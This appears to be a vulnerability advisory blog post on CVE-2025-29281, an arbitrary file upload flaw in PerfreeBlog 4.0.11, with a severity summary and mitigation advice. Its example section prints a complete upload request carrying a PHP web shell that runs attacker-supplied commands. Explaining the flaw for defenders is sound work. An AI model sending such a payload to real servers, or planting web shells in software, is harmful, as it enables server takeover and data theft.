CVE-2025-29281: Arbitrary File Upload Vulnerability in PerfreeBlog 4.0.11

Overview

In today’s post, we examine a severe security vulnerability discovered in PerfreeBlog version 4.0.11, identified as CVE-2025-29281. This vulnerability allows regular users to exploit the arbitrary file upload feature in the attach component, leading to potential system compromise or data leakage. Considering PerfreeBlog’s widespread use, this vulnerability presents a significant risk to many users and organizations, underscoring the need for immediate action to rectify this security flaw.

Vulnerability Summary

CVE ID: CVE-2025-29281
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PerfreeBlog | 4.0.11

How the Exploit Works

The vulnerability originates from an insufficient validation mechanism in the file upload function of PerfreeBlog’s attach component. Regular users can upload arbitrary files, which can include harmful code. Once the files are uploaded and executed, they can disrupt system operations, compromise data, or enable more sophisticated attacks.

Conceptual Example Code

Let’s consider a scenario where a regular user decides to upload a malicious PHP file. The HTTP request might look like this:

POST /attach/upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this conceptual example, the attacker uploads a PHP file that, when executed, can run arbitrary system commands on the server, potentially compromising the system’s security.

Mitigation and Prevention

To mitigate this vulnerability, PerfreeBlog users should immediately apply the patch provided by the vendor. In the absence of a vendor patch, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to detect and prevent the exploitation of this vulnerability. Regular audits of system and application logs can also help identify any attempts to exploit this vulnerability.